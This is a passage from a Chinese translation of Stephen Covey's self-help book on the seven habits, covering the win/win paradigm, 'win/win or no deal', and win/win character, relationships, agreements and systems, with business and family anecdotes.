在谈判时,他们常常不是放弃就是退让,如果 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 291 ~ 成为领导,也对属下极端纵容。赢/输模式意味着 做好人,然而“好人不长命”。 输/赢模式颇受赢/输模式欢迎,因为前者是 后者的生存基础,前者的弱点恰是后者的优势和力 量来源。 可是被压抑的情感并不会消失,累积到一定程 度后,反而以更丑恶的方式爆发出来,有些精神疾 病就是这样造成的。 若是一味压抑,不能把愤怒情绪加以升华,自 我评价将日趋低落。到最后依然会危及人际关系, 使原先委曲求全的苦心付诸流水,得不尝失。 赢/输和输/赢模式都存在人格缺陷。短期来 看,赢/输模式的人较有效率,因为他们通常在能 力和智力方面高人一筹,而输/赢模式白始至终都 居于劣势。 许多主管、经理和家长都在这两种模式间左右 摇摆,当他们无法忍受混乱无序,缺乏目标,纪律 松弛的状态的时候,就会倾向于赢/输模式,之后 随着内疚感日增,又会回到输/赢模式,而新一轮 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 292 ~ 的愤怒与挫败感再次将他们推向赢/输模式。 两败俱伤(输/输) 两个损人利己的人交往,由于双方都固执己见, 以自我为中心,最后一定是两败俱伤,因为他们都 不服输,都想报复,扳回局面,但其实谋杀等于自 杀,报复是一把双刃剑。 我认识一对夫妻,离婚时法官要求丈夫将出售 资产所得的一半分给妻子,结果他把一辆价值一万 美元的汽车以五十美元出售,然后分给妻子二十五 美元。妻子提出抗议后,法院发现,丈夫将所有财 产都廉价出售了。 为了报复,不惜牺牲自身的利益,却不问是否 值得;只有不够成熟、掌握不了人生方向的人,才 会这样。 极具依赖性的人也会倾向于两败俱伤模式,他 们的人生没有方向,生活痛苦,于是认为所有人都 该如此——“大家都不赢的话,做个失败者也没什 么。” [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 293 ~ 独善其身(赢) 另一种常见的模式就是独善其身,别人输不输 都无所谓,重要的是自己一定要得偿所愿。 当竞争和对抗意义不大的时候,独善其身的模 式是多数人的处事方法,他们只在意自己的利益无 损,别人的就留给他们自己去保护吧。 哪一种最好 如果赢要以过多的时间和精力为代价,以至于 得不偿失,那么还是“退一步海阔天空”的好。 有些情况并非如此。比如说,当你的孩子面临 生命危险的时候,对你来说,拯救孩子高于一切, 自然无暇顾及他人。 因此,最好的选择必须依情况而定,关键是认 清形势,不要教条地把某一种模式应用于每一种情 况。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 294 ~ 实际上,多数情况都只是相互依赖的大环境的 一部分,于是只有双赢模式才是唯一可行的。 输/赢和赢/输模式不合适,因为一方赢了, 对方的态度、情感和双方之间的关系一定会受到影 响。举例来说,我是你们公司的供应商,虽然在某 次谈判中处处占上风,事事得所愿,但是此后,你 还会再来光顾我吗?因此,从长远观点看,这两种模 式的结果必定是两败俱伤。 如果我只想独善其身,对你毫不理会,那就根 本无法建立起合作互助的关系。 长远来看,不是双赢,就一定是两败俱伤,所 以我们才说,只有双赢才是在相互依赖环境中唯一 可行的交往模式。 我有一个客户,是一家大型连锁商店的总裁。 他说:‚双赢的观念的确不错,可惜太理想化。商场 现实无情,不与人争,只有被淘汰。‛ 我说:‚那好,难道让你盈利,让顾客吃亏就 现实了吗?‛ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 295 ~ ‚当然不行!那样我会失去所有的顾客。‛他回 答。 ‚那让你做赔本生意现实吗?‛ ‚也不是,无利可图还叫什么生意?‛ 我们考虑了各种选择,结果只有双赢才是唯一 可行的交往模式。 最后他承认:‚也许同顾客的关系的确如此, 但和供货商的关系就不一样了。‛ 我提醒他:‚对供应商来说,你不就是顾客吗? 道理不一样吗?‛ 他说:‚最近我们在同商场的经营者和业主洽 谈新租约的时候,就是以双赢为目的的。我们开诚 布公,有理有节,可他们却理解为软弱可欺,把我 们当成冤大头,让我们无利可图。‛ ‚可你们为什么要选择输/赢模式呢?‛我问。 ‚没有啊,我们是想要双赢的。‛ ‚可你刚才说,他们让你们无利可图。‛ ‚就是这样。‛ ‚换句话说,你们输了。‛ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 296 ~ ‚是的。‛ ‚他们赢了。‛ ‚嗯。‛ ‚那这不是输/赢模式是什么?‛ 当意识到他所谓的双赢实质上是输/赢模式时, 他很震惊。我们对这种模式的长期效应进行了分析, 结论是:平静的关系下面涌动着的是压抑的情感, 被践踏的价值和隐藏的怨恨,最终将导致两败俱伤。 如果他真的抱着双赢的态度,就会多与业主交 流,听取意见,并有勇气表达自己的观点,直到结 果让双方都满意。这“第三条道路”的解决方法所 产生的协同效应可能会让双方都大吃一惊。 不能双赢就好聚好散 如果实在无法达成共识,实现双赢,就不如好 聚好散(放弃交易)。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 297 ~ 好聚好散的意思是,如果不能利益共享,那就 商定放弃交易。道不同,不相为谋,所以我们之间 没有期望,没有订立合约,没有雇用和合作关系, 这比明确期望后再让对方希望破灭要好得多。 心中留有退路,顿觉轻松无比,更不必耍手段、 施压力,迫使对方就范。坦诚相见,更有助于发掘 及解决问题。即使买卖不成,仁义尚在,或许日后 还有合作的机会。 有家小型电脑公司的负责人就有过类似的体 验。他接受了我建议的双赢的观念,并且身体力行。 他说: ‚本公司曾受聘为一家银行设计全套新软件, 合约一签就是 5 年。没想到 1 个月后,总裁换人。 新总裁对我们的产品有意见,员工也感到新软件难 以适应,于是他们要求我们更改合约。‛ ‚当时本公司的财务状况其实很不好,为了求 生存,我大可坚持依约行事。可是这种做法损人却 不一定利己,既然产品不能令顾客满意,我同意取 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 298 ~ 消合约,退回定金。但也告诉对方,日后若还有软 件方面的需要,欢迎再光顾。‛ ‚就这样我放弃了一笔 48000 美元的生意,这 简直是自断财路。可是我相信,坚持原则一定会有 回报。‛ ‚3 个月后,那位新总裁果真又打电话给我, 带来另一笔总价 24 万美元的生意。‛ 在相互依赖的环境里,任何非双赢的解决方案 都不是最好的,因为它们终将对长远的关系产生这 样那样的不利影响,你必须慎重对待这些影响的代 价。如果你无法同对方达成双赢的协议,那么最好 选择放弃。 在家里,“不能双赢就干脆放弃”这个原则也能 让大家感到轻松自由。如果在看什么电影的问题上 僵持不下,那么不如放弃看电影,做些别的事情, 总比这个夜晚有人欢喜有人愁的要好。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 299 ~ 我有一个朋友,她们家参加了很多年的演唱活 动。当孩子们还小的时候,她要负责安排曲目,制 作演出服装,担任钢琴伴奏以及导演节目。 随着孩子们渐渐长大,他们的音乐品味发生了 变化,对节目以及化装有了自己的主张,不再对母 亲言听计从。 我这位朋友演出经验丰富,对观众的需求也十 分了解。她认为孩子们的很多建议都不合适,不过 也认识到孩子们需要参与活动的决策。 于是她选择‚不能双赢就干脆放弃‛,告诉孩 子们理想的决定是被所有人认可的,否则不如各自 在其他领域发挥才智。结果,每一个人都畅所欲言, 努力达成一致意见,不管这个目标是不是能实现, 至少他们不再有情感的束缚。 业务关系或者企业建立之初,这种“不能双赢 就干脆放弃”的模式最现实可行,而对于持续性的 业务关系,放弃未必可行,有时还可能产生严重问 题,特别是对那些家族式的或者建立在友谊基础上 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 300 ~ 的生意来说。 为了维系关系,人们有时要不停地妥协让步, 嘴上说的是双赢,脑子里想的却是赢/输或者输/ 赢,这会引发很多问题,如果竞争建立在双赢模式 和协同合作的基础上,问题就尤为严重。 如果不能选择“放弃”,许多生意将每况愈下, 不是关门大吉就是转手他人。经验表明,在家族式 或者建立在友谊基础上的生意启动之前,最好先就 “不能双赢就好聚好散”这一点达成协议,这样事 业的繁荣才不会导致关系的破裂。 当然,有时候这个模式并不适用。比如我不会 放弃我的孩子和妻子(如果有必要的话,妥协会更好, 这是双赢的较低模式)。但多数情况下,还是可以用 “不能双赢就好聚好散”的模式协商的,因为这一 模式意味着宝贵的自由。 双赢思维的五个要领 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 301 ~ 双赢可使双方互相学习、互相影响及共蒙其利。 要达到互利的境界必须具备足够的勇气及与人为善 的胸襟,尤其与损人利己者相处更得这样。培养这 方面的修养,少不了过人的见地、积极主动的精神, 并且以安全感、人生方向、智慧与力量作为基础。 双赢的原则是所有人际交往的基础,包括五个 独立的方面:“双赢品德”是基础,接着建立起“双 赢关系”,由此衍生出“双赢协议”,需要“双赢体 系(结构)”作为培育环境,通过双赢的“双赢过程” 来完成,因为我们不能用赢/输或输/赢的手段达 到双赢的目的。 图 7—1 说明这五个方面是如何相互关联的: 现在,我们来依次研究这五个方面。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 302 ~ 双赢品德 双赢品德有三个基本特征。 诚信 我们将诚信定义为自己的价值观。习惯一、 二、三教育我们养成并保持诚信的品德。如果我们 在日常生活中有明确的价值观,能积极主动地以此 为核心安排活动,信守承诺,就能够逐渐培养起自 我意识和独立意志。 如果我们不了解“赢”的真正含义及其与我们 内心价值观的一致性,那么就不可能做到“赢”。没 有了诚信的基础,双赢不过是一种无效的表面功夫。 成熟 这是敢作敢为与善解人意之间的一种平 衡状态。 “成熟就是在表达自己的情感和信念的同时 又能体谅他人的想法和感受的能力。”这是赫兰 德·萨克森年(Hrand Saxenian)教授多年研究得出 的结论。 如果你认真研究那些用于招聘、升职以及培训 的心理测试,就会发现不管它们的主题是自我强度 /情感相通平衡,还是自信/尊重他人平衡,亦或 是关心人/关心任务平衡,其目的都是考察成熟度; [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 303 ~ 而那些沟通分析和管理方格训练术语或评语也是在 衡量一个人在敢作敢为与善解人意之间的平衡能力。 这种能力是人际交往、管理和领导能力的精髓, 是产出/产能平衡的深度表现。敢作敢为的目的是 拿到金蛋,而善解人意可以保障其他股东的长远利 益,领导的根本任务就是要提高所有股东的生活水 平和生活质量。 很多人用非此即彼的两分法看问题,认为一个 温和的人一定不够坚强,但是只有温和与坚强并重, 才能实现双赢,这种坚强的作用甚至双倍于赢/输 模式的那种强硬。双赢模式要求你不但要温和,还 要勇敢,不但要善解人意,还要自信,不但要体贴 敏感,还要勇敢无畏。做到这些,在敢作敢为与善 解人意之间找到平衡点,才是真正的成熟,这是双 赢的基础。 如果我勇气十足,却不懂体谅他人,我的交往 模式就是赢/输——我强硬而自私,勇于坚持自己 的信念,却漠视旁人。 如果我的内心不够成熟,情感有些脆弱,为了 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 304 ~ 弥补这些不足,我可能要借助地位、势力、证书、 资历和关系来获取力量。 如果我体贴有余,而勇气不足,我的交往模式 就是输/赢。我事事以你的想法和愿望为先,却羞 于表达和实现自己的想法与愿望。 敢作敢为和善解人意是双赢的必备条件,其间 的平衡点是成熟的重要标志。如果我足够成熟,我 就会乐于聆听,善于沟通并勇于面对。 知足 即相信资源充足,人人有份。 一般人都会担心有所匮乏,认为世界如同一块 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 305 ~ 大饼,并非人人得而食之。假如别人多抢走一块, 自己就会吃亏,人生仿佛一场零和游戏。难怪俗语 说:“共患难易,共富贵难。”见不得别人好,甚至 对至亲好友的成就也会眼红,这都是“匮乏心态” (ScarcityMentality)作祟。 抱持这种心态的人,甚至希望与自己有利害关 系的人小灾小难不断,疲于应付,无法安心竞争。 他们时时不忘与人比较,认定别人的成功等于自身 的失败。纵使表面上虚情假意地赞许,内心却妒恨 不已,唯独占有能够使他们肯定自己。他们又希望 四周环境的都是唯命是从的人,不同的意见则被视 为叛逆、异端。 相形之下,富足的心态(Abundance Mentality) 源自厚实的个人价值观与安全感。由于相信世间有 足够的资源,人人得以分享,所以不怕与人共名声、 共财势,从而开启无限的可能性,充分发挥创造力, 并提供宽广的选择空间。 公众领域的成功的意思不是压倒旁人,而是通 过成功的有效交往让所有参与者获利,大家一起工 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 306 ~ 作,一起探讨,一起实现单枪匹马无法完成的理想, 这种成功要以知足心态为基础。 一个诚信、成熟、知足的人在人际交往中很少 或者根本不需要用到什么技巧。 赢,输模式的人想要做到双赢,最好找到一个 双赢模式的榜样或者顾问,因为非双赢模式的人的 身边往往是同道中人,少有机会真正了解和体验双 赢模式。因此,我建议大家多读一些文学作品,如 埃及前总统安瓦尔·萨达特(Anwar Sadat)的传记 《寻找自己》,多看励志影片,如《烈火战车》和《悲 惨世界》。 当你超越环境、态度和行为,将触角探到自己 的内心,会发现双赢和所有其他正确原则一样,本 就深植在我们的生活中。 双赢关系 以双赢品德为基础,我们才能建立和维护双赢 关系。双赢的精髓就是信用,即情感账户。没有信 用,我们最多只能妥协;缺乏信用,我们就无法开 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 307 ~ 诚布公,彼此学习,互相交流和发挥创造性。 但是如果情感账户储蓄充足,信用就不再是问 题,已有的投入让我们相知相敬,我们可以全神贯 注于问题本身,而不是性格或者立场。 因为我们彼此信任,所以才能坦诚相待,不管 看法是否一致。不论哪一方阐述什么样的观点,另 一方都会洗耳恭听,力求知己知彼后共同寻找第三 条道路,这种协作的解决办法让彼此都受益。 充足的情感账户储蓄和对双赢模式的共识是产 生统合综效(习惯六)的理想途径。这种关系不会让 问题虚化或者弱化,也不会让意见上的分歧消失, 但能够除去那些分散精力的消极因素,如对性格和 立场差异的过分关注,从而为实现双赢创造出有利 于理解和解决问题的积极合作氛围。 如果这种关系并不存在呢?如果你的合作对象 听都没听过双赢,而且深受赢,输或其他模式的影 响呢? 和赢/输模式的人打交道是对双赢的最大考验。 双赢从来就不是轻易实现的,需要解决深层问题和 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 308 ~ 本质差异。但如果双方都能认识到这一点并为之努 力,而且情感账户储蓄充足,事情就容易得多。 同赢/输模式的人打交道,关系很重要。你要 以影响圈为核心,通过以礼相待,尊重和欣赏对方 及其不同观点来进行感情投资。这样你们的交往就 得以维持,你有更多的机会聆听和深入了解对方, 同时也更勇于表达自己,而不再是被动的,你的潜 力和积极性会被激发出来。你的努力最终将让对方 相信你希望实现真正的双赢,而交往过程本身就是 很棒的投资。 你对双赢的态度越坚持,越真诚,越积极,越 投入,你对他人的影响力就越大。这是对人际领导 能力的真正考验,它超越了交易式(Transactional) 领导的范畴,升华至转换式(Transformational)领 导的层面,后者能让个人和关系发生转变。 正因为双赢是能被人们在自己的生活中验证的 原则,因此你应该帮助更多人认识到,为双方谋福 利会让自己得到更多。不过沉溺于赢/输模式,拒 绝双赢的尚有人在,这时候请记住,好聚好散也是 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 309 ~ 一种选择,有时也可以选择双赢的较低形式——妥 协。 并非所有决定都一定要以双赢为目的,即便是 情感账户储蓄充足,认识这一点也很重要。再说一 次,关系很重要。举例来说,你我共事,你来对我 说:“我知道你不赞成这个决定,但我实在没时间向 你解释,不管你是否参与,你会支持吗?” 如果你在我这里的账户储蓄充足,我当然会支 持,我会希望自己是错的,而你是对的,并努力将 你的决定付诸实施。 但是如果我们之间根本不曾有过情感账户,而 我持反对态度,我就不会真正支持。也许我当面答 应了你,但是私下里毫无热情,无心为这个决定做 出努力。我会说: “本来就行不通,你让我怎么办?” 如果我是个过激的人,甚至还可能破坏你的决 定,并想法设法怂恿别人也这样做。我可能会“恶 意服从”——依你指示行事,但绝不多做,对结果 毫不负责。 没有双赢人格和双赢关系作为后盾,书面协议 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 310 ~ 就形同虚设。只有真诚的感情投资,才能帮助实现 双赢。 双赢协议 关系确立之后,就需要有协议来说明双赢的定 义和方向,这种协议有时被称为“绩效协议”或“合 作协议”,它让纵向交往转为水平交往,从属关系转 为合作关系,上级监督转为自我监督。 这类协议在相互依赖的交往中应用相当广泛。 习惯三中的我协助小儿子清理庭院的故事就是一例。 当时我们列举的五个基本要素适用于所有相互依赖 的合作关系,如雇主与雇员、个人与个人、团体与 团体、企业与供应商。这些要素帮助人们有效地明 确并协调彼此的期望。 在双赢协议中,对以下五要素应该有明确的规 定: 预期结果:确认目标和时限,方法不计。 指导方针:确认实现目标的原则、方针和行为 限度。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 311 ~ 可用资源:包括人力、财力、技术或者组织资 源。 任务考核:建立业绩评估标准和时间。 奖惩制度:根据任务考核确定奖惩的意义。 这五个要素赋予双赢协议重要意义,对此的理 解和认可使人们在衡量自己业绩的时候有据可依。 传统权威型监督以赢/输为模式,是情感账户 透支的结果。正因为对预期结果缺乏信任和共识, 才不得不一遍遍地检查和指示,没有信任,就想对 下属时时操控。 如果信任存在,你会怎样做呢?对他们放手,只 要事先制订双赢协议,让他们知道你的期望,接下 来只要扮演好协助与考核的角色就好。 自我评估更能激人上进。在高度信任的文化氛 围里,自我评估的结果更精确,因为当事人往往最 清楚实际进度,自我洞察远比旁人的观察和测量要 准确。 双赢的管理培训 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 312 ~ 几年前,我参与了一个大型金融机构的咨询项 目。这家公司有几十个分支机构,他们想让我们对 公司的管理培训计划进行评估,并提出改良建议。 这是一项年度预算高达七十五万美元的大型培训计 划,具体内容包括从高等院校毕业生中招聘员工, 然后在六个月的时间里,让他们去十二个部门实习, 一个部门实习两个星期,目的是要他们对整个公司 的运作有一个全面的了解。六个月的培训结束之后, 就会被分配到分行去担任助理经理。 这个公司原先的培训计划注重的只是方法,而 不是最终结果。因此我们建议他们以另一种模式为 基础先搞一个培训计划的试点,由受训者本人掌握 具体的培训过程(可称之为“由受训者控制的培训”)。 这就是一种双赢协议,必须首先确认培训的目标和 标准,管理人员可以根据这些目标和标准来评判受 训人员的成绩。管理人员还必须明确指导方针、可 用资源、任务考核和奖惩制度。当然,对于这个特 定的培训项目来说,最后的奖励就是被提升为助理 经理,他们可以继续接受在岗培训,薪水也将大幅 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 313 ~ 度地提高。 我们一直追问: “你们究竟想让他们两个部门干 什么?”就这样逐项问下去,最后得到一个长长的清 单,上面列了一百多个具体的培训目标。在此基础 上,我们进行简化、删减和提炼,最后总结 T--十 九个特定的培训目标,每一项后面都有相应的评估 标准。 接受培训的人员干劲十足,因为他们看到了机 会,也清楚意识到尽快达标就能提高薪水。对于他 们来说,提升和高薪就是很大的成功,对于公司来 说,这同样也是很大的成功,因为未来的分行助理 经理将不再是仅仅出现在十二个不同的部门里的摆 设,他们在接受培训之后全都会符合一定的标准。 我们对受训人员解释了什么是由受训者自己掌 握进度的培训,什么是由管理人员控制的培训,以 及这两者之间的差别。最后说:“这些是我们总结的 目标和标准,这些是你们可以使用的资源,包括学 员间的互相学习。开始干吧。只要你们能够达到这 些标准的要求,你们就会被提升为助理经理。” [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 314 ~ 结果他们用三周半的时间就完成了培训。经过 改变的培训模式释放了他们身上的无穷潜力和创造 性。 正如其他转换过程一样,这一次我们也遭遇了 不小的阻力,几乎所有的高层管理人员根本就不相 信我们的做法。后来看到受训人员这么快就达到了 既定标准的要求之后,他们还是说:“这些人缺乏经 验,缺乏锻炼。我们认为一名分行助理经理应该具 有随机应变的能力,而这正是他们所缺乏的。” 在后来同他们的交谈中,我们发现这些人其实 真正想要说的是:“我们都是这么熬过来的,凭什么 这些家伙就不用这样?”当然,这些话是不能摆到桌 面上说的。“他们缺乏锻炼”之类的话听上去冠冕堂 皇得多。 此外,由于众所周知的理由,人事部门的人也 很不高兴(原先六个月培训计划的七十五万美元预 算当然也是一个很重要的原因)。 而我们对此的回答是:“很好,让我们再来增加 一些目标以及相应的评估标准。不过有一点一定要 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 315 ~ 坚持,那就是仍然由受训者自己掌握整个培训过程。” 就这样,我们又增加了八个目标以及相应的评估标 准。高层管理人员这下放心了,因为这些新增加的 目标和标准足以让受训人员做好充分的准备,能够 胜任助理经理一职,并保证他们在今后的工做岗位 上仍能继续接受新的培训。亲自参加了几次制订标 准的讨论会后,几名高层管理人员终于承认,如果 受训者真的能够达到这些严格标准的要求,那么就 担任助理经理来说,他们将比以前任何参加过六个 月培训计划的人都更合格。 在此之前,我们已经向受训者预言过这次培训 不会一帆风顺,阻力一定存在。现在,我们带着额 外增加的目标和要求回来,对他们说:“就像我们当 初预料的那样,管理层希望你们能够再完成这些更 严苛的项目。但是他们保证,这一次,只要你们能 够达到这些要求,就一定会任命你们为助理经理。” 他们继续努力,充分发挥积极性。比如,他们 会直接找到财务部门的行政管理人员,并坦率地说: “您好,先生,我参加了公司的一个让受训者自己 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 316 ~ 掌握整个培训过程的计划,而您曾经参与制订这些 目标和标准。在您这个部门我要达到六个标准的要 求,现在我只剩下最后一个要求没有完成。不知道 您或者部门里的其他人是否有时间教我一下。”就这 样,他们根本不需要在这个部门里花上两个星期的 时间,只要半天就可以了。 这些受训者互相帮助,彼此激励,只用了一周 半的时间就完成了新增加的任务。六个月的培训计 划压缩到了五个星期,而且这次培训出来的人员素 质也比以往都要高。 如果人们能够认真思索,将双赢定为最终目标, 不论在业务还是生活等每个领域都可以大有作为。 我自己经常会为某个人或某组织的积极转变成果感 叹不已,其实领导者所要做的就是放手,让有责任 心、积极处世以及具有自我领导能力的人独立完成 任务。 双赢绩效协议 双赢绩效协议的前提是模式转换,注意力要放 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 317 ~ 在结果而不是方法上,但大部分人都重方法轻结果。 在谈论习惯三的时候,我说到曾用指令型授权让太 太桑德拉为滑水的儿子拍照,就是一例。双赢协议 注重的是结果,要释放个人潜力,将协作效应最大 化,产出与产能并重。 人们可以用双赢标准进行自我评估。传统的评 估方式使用不便而且浪费精力,双赢协议则让人们 根据自己事先参与制订的标准进行自我评估。只要 方法得当,结果就是可靠的。即使使用双赢绩效协 议的是一个七岁的小男孩,他也可以判断自己在清 理庭院方面做得怎样。 管 理 哲 学 家 兼 顾 问 彼 得 · 德 鲁 克 (Peter Drucker)建议,经理和员工之间可以用“给经理的 信”这种形式来表述绩效协议的要点。首先就预期 结果、指导方针和可用资源深入探讨,保证其与组 织的总目标相一致,然后写在“给经理的信“中, 并提议下一次绩效计划和讨论的时间。 这种双赢绩效协议是管理的核心内容。有了这 样的一个协议,员工就可以在协议规定的范围内进 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 318 ~ 行有效的自我管理,而经理就像是赛跑中的开路车 一样,待一切顺利开展后悄悄退出,做好后勤工作。 一旦老板成为每一个属下的得力助手,他的控 制范围将会大大增加,层层管理和操控的方式反而 无用。这样,他所能够管理的就不再只是六七个人, 而是二十个、三十个、五十个,甚至更多。 使用双赢绩效协议后,员工努力的结果和得到 的奖惩就是业绩的自然成果,而不再是由负责人说 了算。 有四种管理者或家长都可以掌控的奖惩方法: 金钱、精神、机会以及责任。其中金钱奖惩包括薪 资、股份、补贴的增减;精神奖惩包括认同、赞赏、 尊敬、信任或者相反——除非温饱没有保障,不然 精神奖励的价值通常超过物质奖励;机会奖惩包括 培训、进修等;责任奖惩一般同职务有关,比如升 职或者降职。双赢协议对此都有明确规定,当事人 一开始就一清二楚,因此这并不是暗箱操作,完全 做到了透明化。 除此之外,说明个人表现对集体的影响也很重 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 319 ~ 要,例如迟到早退,拒绝合作,违反协议,打压下 属,赏罚不明等给公司带来的损失。 我女儿十六岁的时候,我们曾就家里汽车的使 用问题签订了一个双赢绩效协议。根据协议,她必 须遵守交通规则;负责清洁和保养汽车;在我们的 许可下将车用于正当途径;必要时担任父母的司机; 自觉完成分内的事情,不需别人提醒。这让我们受 益颇多。 而我负责提供资源,如汽车、汽油和保险;我 们每周碰面一次,通常在周日下午,评估她的一周 表现。事实证明这种方法十分有效。只要她能够完 成协议规定的任务,她就可以使用汽车。如果她没 有完成,就会失去使用权。 协议从一开始就明确了双方对彼此的期望。使 用汽车,满足交通需要让女儿受益;我和桑德拉则 不必再操心汽车的清洁和保养,自己的交通需要也 偶被满足。女儿的诚信、善良和判断力,加上我们 之间充足的情感账户储蓄,足以让她进行自我管理, [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 320 ~ 我们不需要时刻监督她的一举一动,费神怎么处臵 她。协议让我们三个人都得到了解放。 双赢协议意味着自由,但必须以诚信作为支持, 否则即便已经签署,也只能半途而废。 真正的双赢协议是双赢模式、双赢人格和双赢 关系的产物,它以相互依赖的人际交往为对象,起 着规范和指导的作用。 双赢体系 双赢只能存在于体系健全的组织机构中。如果 提倡双赢,却奖励赢/输模式,结果注定失败。 一般来说,你鼓励什么就会得到什么。如果你 想要实现既定的目标,就应该建立配套的奖励体系, 但如果这个体系与目标背道而驰,自然无法实现愿 望,就像那个提倡合作,却用“百慕大之旅”来激 励员工的经理一样。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 321 ~ 我曾为中东一家大型房地产公司工作,第一次 接触是在他们的年度表彰大会上,有八百多名销售 人员参加。现场热闹非凡,还有乐队助兴,不时地 传出兴奋的尖叫声。 在参会的八百多名员工中,有大约四十人因为 业绩出色而获得奖励,奖项包括‚销售最多‛、‚收 入最多‛、‚佣金最高‛等等,在掌声雷动和欢呼雀 跃中,这四十个人无疑是赢家,而另外七百六十个 人则在品味失败。 我们马上着手制定以双赢为目标的体系,并邀 请基层职员参与意见,还鼓励他们互相合作,让尽 可能多的人通过这种量身定做的协议达成各自的目 标。 一年后的表彰大会有一千多名销售人员参加, 获奖者达八百人。虽然有些个人奖项仍以比较为基 础,但更多的奖项是给那些实现了自定目标的个人 和团体。这一次虽然没有乐队和诸多花样,但是人 们热情高涨,分享着彼此的喜悦,作为奖励的度假 旅行成了一个集体活动。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 322 ~ 更重要的是,八百名获奖者中每一人的业务量 和赚得的利润都和前一年那四十名得奖者的一样多。 双赢精神既提高了金蛋产量,又呵护了那只鹅,因 为人类的潜能和智慧得到了大量释放,参与的每一 个人都为这种协同效应而惊喜。 市场竞争必不可少,年度业绩也要互作比较, 甚至不相关的部门和个人都可以竞争,但合作精神 对解放和提高生产力而言,同竞争一样重要。双赢 精神无法存在于你争我夺的环境中。 双赢必须有相应体系支撑,包括培训、规划、 交流、预算、信息、薪酬等,而且所有体系都要建 立在双赢原则的基础上。 还有一家公司,想要我提供人际关系方面的培 训服务,言下之意是说公司的问题出在人身上。 总裁对我说:‚每一家店的员工都是这个样子, 问一句,答一句,毫不主动,根本就不知道怎么吸 引顾客。他们对店里的商品一无所知,既没有销售 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 323 ~ 知识,也没有销售技巧,不知道怎么把产品卖到需 求者手里。‛ 于是我去观察了几家店,果然如此,可是原因 却始终是个谜。 总裁说:‚我要求店长以身作则,把三分之二 的时间用于销售,剩下的三分之一用于管理,他们 的业绩远远超过手下,所以我们的培训对象是这些 店员。‛ 我察觉到了什么,于是说:‚我们还是再研究 一下吧。‛ 他不以为然,觉得自己已经‚知道‛了问题的 症结,应该直接开始培训。但是我一再坚持,结果 两天之内就发现了真正的病源。在他们的职责分配 和薪资体系下,店长总是先己后人,把收银机里的 所有业绩都归给自己。通常营业时间是一半冷清, 一半火爆,于是店长就把费力不讨好的工作交给店 员去做,如库存、备货和清扫等,自己则在收银机 后忙着收钱,难怪业绩会超过店员。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 324 ~ 因此我们调整了薪资体系,结果问题迎刃而解。 新的薪资体系的核心是:只有店员赚到钱,店长才 可能有钱赚。将店长的需求和目标同店员的结合起 来以后,人际关系的培训问题不复存在,关键是建 立真正双赢的奖励体系。 通常情况下,问题都源于体系,而不是人。再 好的人置身于一个糟糕的体系中,也不会有好结果。 想赏花就要先浇水。 当人们真正学会双赢思维后,就能够建立并遵 守相应的体系,于是竞争变为合作,产出产能并重, 工作效率大幅提高。 在企业里,主管可以调整体系,组建高产能的 团队,与其他对手竞争;在学校里,教师可以因材 施教,根据个人表现制定评分体系,并鼓励学生互 相帮助,共同进步;在家里,家长可以帮孩子培养 合作意识,如在打保龄球的时候计算全家分数,并 齐心合力打破以前的家庭记录,还可以用双赢协议 分配家务,这样大家不再满腹牢骚,家长也可以专 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 325 ~ 心做非自己不可的事情。 一个朋友说起他看过的一部动画片,片中有个 孩子对另一个孩子说: “如果妈妈还不快来叫我们起 床的话,我们就要迟到了。”这句话让我的朋友十分 震惊,因为他意识到如果一个家庭没有双赢协议作 为管理基础的话,会有很多这样的问题。 双赢赋予个人明确的任务,说明预期结果、指 导原则和可用资源,个人要对结果负责,并完成自 我评估。双赢体系要为双赢协议创造有利环境。 双赢过程 赢/输的方法不可能带来双赢的结果。你总不 能要求别人:“不管你是不是喜欢,都要以双赢为目 标。”问题是怎样找到双赢的解决方案。 